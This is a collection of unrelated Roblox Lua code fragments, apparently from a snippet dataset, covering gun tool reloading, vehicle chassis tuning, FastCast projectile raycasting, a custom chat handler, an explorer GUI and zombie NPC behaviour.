weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.05, math.rad(-90))
wait(0.03)
weld33.C1 = CFrame.new(-0.75, 0.8, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0)
wait(0.03)
weld33.C1 = CFrame.new(-0.75, 0.7, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0)
wait(0.03)
weld33.C1 = CFrame.new(-0.75, 0.6, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0)
wait(0.03)
weld33.C1 = CFrame.new(-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0)
wait()
weld33.C1 = CFrame.new(-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0)
weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
script.Amo.Value = 7
Tool.Handle.Reload.Pitch = 1
end
function kickdecider()
if script.Amo.Value < 1 then
kickreload()
elseif script.Amo.Value > 0 then
kicknormal()
end
end
function onEquipped(mouse2)
mouse2.KeyDown:connect(onkeyDown)
mouse = mouse2
end
function onkeyDown(key)
if key == "r" then
if script.Amo.Value == 7 then return
end
if script.Amo.Value == 18 then return
end
if not a then
kickreload()
end
end
end
function equip1() --reload script thingy, derived from XAXA's script
print("Equipped")
if game.Players.LocalPlayer ~= nil then
local m = Tool.AmmoGUI:clone()
m.Parent = game.Players.LocalPlayer.PlayerGui
while m ~= nil do
wait(0.1)
m.Counter.TextLabel.Text = "Ammo Left:"..script.Amo.Value
if script.Amo.Value == 18 then
m.Counter.TextLabel.Text = "Reloading..."
wait(2.3)
wait()
script.Amo.Value = 7 -- amount of ammunition that can be discharged before reloading
m.Counter.TextLabel.Text = "Ammo "..script.Amo.Value
end
end
end
end
function unequip1()
print("Unequipped")
if game.Players.LocalPlayer ~= nil then
print("localplayer found")
local m = game.Players.LocalPlayer.PlayerGui:FindFirstChild("AmmoGUI")
if m ~= nil then
m:remove()
end
end
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
fire(lookAt)
Tool.Enabled = true
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Activated:connect(onActivated)
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
script.Parent.Equipped:connect(equip1)
script.Parent.Unequipped:connect(unequip1)
|
--[=[
@tag Component Class
@return {Component}
Gets a table array of all existing component objects. For example,
if there was a component class linked to the "MyComponent" tag,
and three Roblox instances in your game had that same tag, then
calling `GetAll` would return the three component instances.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
-- ...
local components = MyComponent:GetAll()
for _,component in ipairs(components) do
component:DoSomethingHere()
end
```
]=]
|
function Component:GetAll()
return self[KEY_COMPONENTS]
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 25000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 25000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = true
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 4.5
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.4)
,SlideExtend = Vector3.new(0, 0, 0.4)
|
--- Main ui framework for Galactic Conquest by Plasma_Node.
--- Primary currently stored at: 333 framework testing
|
local Resources = script.Resources;
Nim.Elements = require(script.Elements);
local Elements = Nim.Elements;
|
--[[
ROBLOX deviation: ommiting ConditionalTest and config imports
original code:
export {
isJestJasmineRun,
skipSuiteOnJasmine,
skipSuiteOnJestCircus,
onNodeVersions,
} from './ConditionalTest';
export {makeGlobalConfig, makeProjectConfig} from './config';
]]
|
return {
alignedAnsiStyleSerializer = alignedAnsiStyleSerializer,
makeGlobalConfig = configModule.makeGlobalConfig,
makeProjectConfig = configModule.makeProjectConfig,
}
|
-- SERVICES --
|
local RS = game:GetService("ReplicatedStorage")
local TS = game:GetService("TweenService")
|
-- / Round Assets / --
|
local RoundAssets = game.ServerStorage.RoundAssets
|
-- The name of the folder containing the 3D GUI elements for visualizing casts in debug mode.
|
local FC_VIS_OBJ_NAME = "FastCastVisualizationObjects"
|
--[[
if not service.UserInputService.KeyboardEnabled then
warn("User is on mobile :: CustomChat Disabled")
chatenabled = true
drag.Visible = false
service.StarterGui:SetCoreGuiEnabled('Chat',true)
end
--]]
|
client.Handlers.RemoveCustomChat = function()
local chat = gui
if chat then
chat:Destroy()
client.Variables.ChatEnabled = true
service.StarterGui:SetCoreGuiEnabled('Chat', true)
end
end
client.Handlers.ChatHandler = function(plr, message, mode)
if not message then
return
end
if string.sub(message, 1, 2) == '/e' then
return
end
if gui then
local player
if plr and type(plr) == "userdata" then
player = plr
else
player = {
Name = tostring(plr or "System"),
TeamColor = BrickColor.White()
}
end
if #message > 150 then
message = string.sub(message, 1, 150).."..."
end
if mode then
if mode == "Private" or mode == "System" then
table.insert(storedChats, {
Color = player.TeamColor or BrickColor.White(),
Player = player.Name,
Message = message,
Mode = "Global",
Private = true
})
table.insert(storedChats, {
Color = player.TeamColor or BrickColor.White(),
Player = player.Name,
Message = message,
Mode = "Team",
Private = true
})
table.insert(storedChats, {
Color = player.TeamColor or BrickColor.White(),
Player = player.Name,
Message = message,
Mode = "Local",
Private = true
})
table.insert(storedChats, {
Color = player.TeamColor or BrickColor.White(),
Player = player.Name,
Message = message,
Mode = "Admins",
Private = true
})
table.insert(storedChats, {
Color = player.TeamColor or BrickColor.White(),
Player = player.Name,
Message = message,
Mode = "Cross",
Private = true
})
else
local plr = player.Name
table.insert(storedChats, {
Color = player.TeamColor or BrickColor.White(),
Player = plr,
Message = message,
Mode = mode
})
end
else
local plr = player.Name
table.insert(storedChats, {
Color = player.TeamColor or BrickColor.White(),
Player = plr,
Message = message,
Mode = "Global"
})
end
if mode == "Local" then
if not localTab.Visible then
localb.Text = "Local*"
end
elseif mode == "Team" then
if not teamTab.Visible then
team.Text = "Team*"
end
elseif mode == "Admins" then
if not adminsTab.Visible then
admins.Text = "Admins*"
end
elseif mode == "Cross" then
if not crossTab.Visible then
cross.Text = "Cross*"
end
else
if not globalTab.Visible then
global.Text = "Global*"
end
end
if #storedChats >= 50 then
table.remove(storedChats, 1)
end
UpdateChat()
if not nohide then
if player and type(player) == "userdata" then
local char = player.Character
local head = char:FindFirstChild("Head")
if head then
local cont = service.LocalContainer():FindFirstChild(player.Name.."Bubbles")
if not cont then
cont = Instance.new("BillboardGui", service.LocalContainer())
cont.Name = player.Name.."Bubbles"
cont.StudsOffset = Vector3.new(0, 2, 0)
cont.SizeOffset = Vector2.new(0, 0.5)
cont.Size = UDim2.new(0, 200, 0, 150)
end
cont.Adornee = head
local clone = bubble:Clone()
clone.TextLabel.Text = message
clone.Parent = cont
local xsize = clone.TextLabel.TextBounds.X + 40
if xsize > 400 then
xsize = 400
end
clone.Size = UDim2.new(0, xsize, 0, 50)
if #cont:GetChildren() > 3 then
cont:GetChildren()[1]:Destroy()
end
for i, v in pairs(cont:GetChildren()) do
local xsize = v.TextLabel.TextBounds.X + 40
if xsize > 400 then
xsize = 400
end
v.Position = UDim2.new(0.5, -xsize / 2, 1, -(math.abs((i - 1) - #cont:GetChildren()) * 50))
end
local cam = workspace.CurrentCamera
local char = player.Character
local head = char:FindFirstChild("Head")
Routine(function()
repeat
if not head then
break
end
local dist = (head.Position - cam.CFrame.p).Magnitude
if dist <= 50 then
clone.Visible = true
else
clone.Visible = false
end
wait(0.1)
until not clone.Parent or not clone or not head or not head.Parent or not char
end)
wait(10)
if clone then
clone:Destroy()
end
end
end
end
end
end
local textbox = service.UserInputService:GetFocusedTextBox()
if textbox then
textbox:ReleaseFocus()
end
end
|
--[[
Direction.Changed:connect(function()
if Direction.Value == "U" then
wait(1)
Control.Car.Platform.GoingUp:Play()
return end
if Direction.Value == "D" then
wait(1)
Control.Car.Platform.GoingDown:Play()
return end
end)
]]
|
--
Floor.Changed:connect(FloorControl)
FloorControl()
|
--[=[
@param observer (any) -> nil
@return Connection
Observes the value of the property. The observer will
be called right when the value is first ready, and
every time the value changes. This is safe to call
immediately (i.e. no need to use `IsReady` or `OnReady`
before using this method).
Observing is essentially listening to `Changed`, but
also sends the initial value right away (or at least
once `OnReady` is completed).
```lua
local function ObserveValue(value)
print(value)
end
clientRemoteProperty:Observe(ObserveValue)
```
]=]
|
function ClientRemoteProperty:Observe(observer: (any) -> ())
if self._ready then
task.defer(observer, self._value)
end
return self.Changed:Connect(observer)
end
|
-- Customization
|
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)
MouseSense = 0.5;
CanAim = false; -- Allows player to aim
CanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)
LaserAttached = true;
LightAttached = true;
TracerEnabled = true;
SprintSpeed = 20;
CanCallout = false;
SuppressCalloutChance = 0;
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Actions
|
local actionButtons do
actionButtons = {}
local totalActions = 1
local currentActions = totalActions
local function makeButton(icon,over,name,vis,cond)
local buttonEnabled = false
local button = Create(Icon('ImageButton',icon),{
Name = name .. "Button";
Visible = Option.Modifiable and Option.Selectable;
Position = UDim2.new(1,-(GUI_SIZE+2)*currentActions+2,0.25,-GUI_SIZE/2);
Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
Parent = headerFrame;
})
local tipText = Create('TextLabel',{
Name = name .. "Text";
Text = name;
Visible = false;
BackgroundTransparency = 1;
TextXAlignment = 'Right';
Font = FONT;
FontSize = FONT_SIZE;
Position = UDim2.new(0,0,0,0);
Size = UDim2.new(1,-(GUI_SIZE+2)*totalActions,1,0);
Parent = headerFrame;
})
button.MouseEnter:connect(function()
if buttonEnabled then
button.BackgroundTransparency = 0.9
end
--Icon(button,over)
--tipText.Visible = true
end)
button.MouseLeave:connect(function()
button.BackgroundTransparency = 1
--Icon(button,icon)
--tipText.Visible = false
end)
currentActions = currentActions + 1
actionButtons[#actionButtons+1] = {Obj = button,Cond = cond}
QuickButtons[#actionButtons+1] = {Obj = button,Cond = cond, Toggle = function(on)
if on then
buttonEnabled = true
Icon(button,over)
else
buttonEnabled = false
Icon(button,icon)
end
end}
return button
end
--local clipboard = {}
local function delete(o)
o.Parent = nil
end
makeButton(ACTION_EDITQUICKACCESS,ACTION_EDITQUICKACCESS,"Options",true,function()return true end).MouseButton1Click:connect(function()
end)
-- DELETE
makeButton(ACTION_DELETE,ACTION_DELETE_OVER,"Delete",true,function() return #Selection:Get() > 0 end).MouseButton1Click:connect(function()
if not Option.Modifiable then return end
local list = Selection:Get()
for i = 1,#list do
pcall(delete,list[i])
end
Selection:Set({})
end)
-- PASTE
makeButton(ACTION_PASTE,ACTION_PASTE_OVER,"Paste",true,function() return #Selection:Get() > 0 and #clipboard > 0 end).MouseButton1Click:connect(function()
if not Option.Modifiable then return end
local parent = Selection.List[1] or workspace
for i = 1,#clipboard do
clipboard[i]:Clone().Parent = parent
end
end)
-- COPY
makeButton(ACTION_COPY,ACTION_COPY_OVER,"Copy",true,function() return #Selection:Get() > 0 end).MouseButton1Click:connect(function()
if not Option.Modifiable then return end
clipboard = {}
local list = Selection.List
for i = 1,#list do
table.insert(clipboard,list[i]:Clone())
end
updateActions()
end)
-- CUT
makeButton(ACTION_CUT,ACTION_CUT_OVER,"Cut",true,function() return #Selection:Get() > 0 end).MouseButton1Click:connect(function()
if not Option.Modifiable then return end
clipboard = {}
local list = Selection.List
local cut = {}
for i = 1,#list do
local obj = list[i]:Clone()
if obj then
table.insert(clipboard,obj)
table.insert(cut,list[i])
end
end
for i = 1,#cut do
pcall(delete,cut[i])
end
updateActions()
end)
-- FREEZE
makeButton(ACTION_FREEZE,ACTION_FREEZE,"Freeze",true,function() return true end)
-- ADD/REMOVE STARRED
makeButton(ACTION_ADDSTAR,ACTION_ADDSTAR_OVER,"Star",true,function() return #Selection:Get() > 0 end)
-- STARRED
makeButton(ACTION_STARRED,ACTION_STARRED,"Starred",true,function() return true end)
-- SORT
-- local actionSort = makeButton(ACTION_SORT,ACTION_SORT_OVER,"Sort")
end
|
-- Title: Weld script 2.2
-- Date: September 6th 2014
-- Author: Zephyred
--
-- Release notes:
-- * The root instance will be welded too if it's a part
-- * Increased flexibility, each call now creates it's own list of welds so you have more control over it.
--
----------------------------
|
local P = script.Parent
|
--]]
|
function getHumanoid(model)
for _, v in pairs(model:GetChildren()) do
if v:IsA'Humanoid' then
return v
end
end
end
local zombie = script.Parent
local human = getHumanoid(zombie)
local hroot = zombie.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude
local pfs = game:GetService("PathfindingService")
function GetPlayerNames()
local players = game:GetService('Players'):GetChildren()
local name = nil
for _, v in pairs(players) do
if v:IsA'Player' then
name = tostring(v.Name)
end
end
return name
end
function GetPlayersbodyParts(t)
local body = t
if body then
local figure = body.Parent
for _, v in pairs(figure:GetChildren()) do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
function Getbody(part)
local chars = game.Workspace:GetChildren()
local body = nil
for _, v in pairs(chars) do
if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
local charRoot = v:FindFirstChild'HumanoidRootPart'
if (charRoot.Position - part).magnitude < SearchDistance then
body = charRoot
end
end
end
return body
end
for _, zambieparts in pairs(zombie:GetChildren()) do
if zambieparts:IsA'Part' then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
enemyhuman:TakeDamage(ZombieDamage)
end
end)
end
end
|
--[[Drivetrain]]
|
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD"
Tune.TorqueVector = 0.5 --AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range.
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 80 -- 1 - 100%
Tune.RDiffLockThres = 20 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
-- зачем?
|
local larm = script.Parent:FindFirstChild("Left Arm") -- левая рука
local rarm = script.Parent:FindFirstChild("Right Arm") -- правая рука
function findNearestTorso(pos) -- поиск гуманоида от указанной позиции
local list = game.Workspace:children() -- ВСЕ наследники игрового пространства
local torso = nil -- найденный БЛИЖАЙШИЙ гуманоид
local dist = vDist -- минимальная дистанция
local temp = nil -- а я буду искать по голове! Она есть и у старых и у новых моделей
local human = nil -- временное хранение очередного гуманоида
local temp2 = nil -- временное хранение модельки из списка
for x = 1, #list do -- перебор дочек всего списка
temp2 = list[x] -- сохраняем очередную дочку
if (temp2.className == "Model") and (temp2 ~= script.Parent) then -- Это модель и не та где скрипт
temp = temp2:findFirstChild("Head") -- ищем голову (она есть у всех)
human = temp2:findFirstChild("Humanoid") -- ищем гуманоида
if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then -- нашли, да ещё и живое
if (temp.Position - pos).magnitude < dist then -- проверяем расстояние, что оно ближе
torso = temp -- сохраняем новый объект
dist = (temp.Position - pos).magnitude -- и новое расстояние
end
end
end
end
return torso -- возвращаем объект, если он был найден или nil
end
|
-- value damper with separate response frequencies for rising and falling values
|
local VariableEdgeSpring = {} do
VariableEdgeSpring.__index = VariableEdgeSpring
function VariableEdgeSpring.new(fRising, fFalling, position)
return setmetatable({
fRising = fRising,
fFalling = fFalling,
g = position,
p = position,
v = position*0,
}, VariableEdgeSpring)
end
function VariableEdgeSpring:step(dt)
local fRising = self.fRising
local fFalling = self.fFalling
local g = self.g
local p0 = self.p
local v0 = self.v
local f = 2*math.pi*(v0 > 0 and fRising or fFalling)
local offset = p0 - g
local decay = math.exp(-f*dt)
local p1 = (offset*(1 + f*dt) + v0*dt)*decay + g
local v1 = (v0*(1 - f*dt) - offset*(f*f*dt))*decay
self.p = p1
self.v = v1
return p1
end
end
|
-- Ctor
|
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast
if typeof(velocity) == "number" then
velocity = direction.Unit * velocity
end
if (castDataPacket.HighFidelitySegmentSize <= 0) then
error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0)
end
-- Basic setup
local cast = {
Caster = caster,
-- Data that keeps track of what's going on as well as edits we might make during runtime.
StateInfo = {
UpdateConnection = nil,
Paused = false,
TotalRuntime = 0,
DistanceCovered = 0,
HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize,
HighFidelityBehavior = castDataPacket.HighFidelityBehavior,
IsActivelySimulatingPierce = false,
IsActivelyResimulating = false,
CancelHighResCast = false,
Trajectories = {
{
StartTime = 0,
EndTime = -1,
Origin = origin,
InitialVelocity = velocity,
Acceleration = castDataPacket.Acceleration
}
}
},
-- Information pertaining to actual raycasting.
RayInfo = {
Parameters = castDataPacket.RaycastParams,
WorldRoot = workspace,
MaxDistance = castDataPacket.MaxDistance or 1000,
CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down.
CanPierceCallback = castDataPacket.CanPierceFunction
},
UserData = {}
}
if cast.StateInfo.HighFidelityBehavior == 2 then
cast.StateInfo.HighFidelityBehavior = 3
end
if cast.RayInfo.Parameters ~= nil then
cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters)
else
cast.RayInfo.Parameters = RaycastParams.new()
end
local usingProvider = false
if castDataPacket.CosmeticBulletProvider == nil then
-- The provider is nil. Use a cosmetic object clone.
if cast.RayInfo.CosmeticBulletObject ~= nil then
cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone()
cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer
end
else
-- The provider is not nil.
-- Is it what we want?
if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then
-- this modded version of typeof is implemented up top.
-- Aside from that, yes, it's a part cache. Good to go!
if cast.RayInfo.CosmeticBulletObject ~= nil then
-- They also set the template. Not good. Warn + clear this up.
warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.")
cast.RayInfo.CosmeticBulletObject = nil
castDataPacket.CosmeticBulletTemplate = nil
end
cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart()
cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
usingProvider = true
else
warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.")
castDataPacket.CosmeticBulletProvider = nil
end
end
local targetContainer: Instance;
if usingProvider then
targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent
else
targetContainer = castDataPacket.CosmeticBulletContainer
end
if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then
local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances
if table.find(ignoreList, targetContainer) == nil then
table.insert(ignoreList, targetContainer)
cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList
end
end
local event
if RunService:IsClient() then
event = RunService.RenderStepped
else
event = RunService.Heartbeat
end
setmetatable(cast, ActiveCastStatic)
cast.StateInfo.UpdateConnection = event:Connect(function (delta)
if cast.StateInfo.Paused then return end
PrintDebug("Casting for frame.")
local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]
if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then
local timeAtStart = tick()
if cast.StateInfo.IsActivelyResimulating then
cast:Terminate()
error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.")
end
cast.StateInfo.IsActivelyResimulating = true
-- Actually want to calculate this early to find displacement
local origin = latestTrajectory.Origin
local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local initialVelocity = latestTrajectory.InitialVelocity
local acceleration = latestTrajectory.Acceleration
local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
cast.StateInfo.TotalRuntime += delta
-- Recalculate this.
totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.
local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta
local targetWorldRoot = cast.RayInfo.WorldRoot
local function castFunction(lastPoint, rayDir, params)
local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params)
if resultOfCast then
local hitInstance = resultOfCast.Instance
if hitInstance.Parent:IsA("Accoutrement") then
table.insert(params.FilterDescendantsInstances, hitInstance)
resultOfCast = nil
end
if hitInstance.CanCollide == false then
table.insert(params.FilterDescendantsInstances, hitInstance)
resultOfCast = nil
end
if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 then
table.insert(params.FilterDescendantsInstances, hitInstance)
resultOfCast = nil
end
end
return resultOfCast
end
local resultOfCast = castFunction(lastPoint, rayDir, cast.RayInfo.Parameters)
local point = currentPoint
if (resultOfCast ~= nil) then
point = resultOfCast.Position
end
local rayDisplacement = (point - lastPoint).Magnitude
-- Now undo this. The line below in the for loop will add this time back gradually.
cast.StateInfo.TotalRuntime -= delta
-- And now that we have displacement, we can calculate segment size.
local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments
local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments
if (numSegmentsReal == 0) then
numSegmentsReal = 1
end
local timeIncrement = delta / numSegmentsReal
for segmentIndex = 1, numSegmentsReal do
if getmetatable(cast) == nil then return end -- Could have been disposed.
if cast.StateInfo.CancelHighResCast then
cast.StateInfo.CancelHighResCast = false
break
end
PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement)
SimulateCast(cast, timeIncrement, true)
end
if getmetatable(cast) == nil then return end -- Could have been disposed.
cast.StateInfo.IsActivelyResimulating = false
if (tick() - timeAtStart) > 0.016 * 5 then
warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.")
end
else
SimulateCast(cast, delta, false)
end
end)
return cast
end
function ActiveCastStatic.SetStaticFastCastReference(ref)
FastCast = ref
end
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = false
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = true
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = false --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 5
,GunFOVReduction = 5.5
,BoltExtend = Vector3.new(0, 0, 0.4)
,SlideExtend = Vector3.new(0, 0, 0.2)
|
--[[Brakes]]
|
Tune.ABSEnabled = false -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1500 -- Front brake force
Tune.RBrakeForce = 1000 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
-- Define the jump duration
|
local jumpDuration = 0.1
|
--@Outline Araç durdurma
|
wait(.2)
if child.Name ~= "Rev" then
car.Body.MainPart.Anchored = true
end
end)
|
--[[Run]]
|
--Print Version
local ver=require(car["A-Chassis Tune"].README)
print("Novena: AC6T Loaded - Build "..ver)
--Runtime Loops
-- ~60 c/s
game["Run Service"].Stepped:connect(function()
--Steering
Steering()
--Power
Engine()
--Update External Values
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Boost.Value = (_Boost/2)*_TPsi
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.HpNatural.Value = _NH
script.Parent.Values.HpBoosted.Value = _BH*(_Boost/2)
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TqNatural.Value = _NT
script.Parent.Values.TqBoosted.Value = _BT*(_Boost/2)
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot*_GThrotShift
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
end)
--15 c/s
while wait(.0667) do
--Automatic Transmission
if _TMode == "Auto" then Auto() end
--Flip
if _Tune.AutoFlip then Flip() end
end
|
-- Creates a lazy object-mirror for the provided part.
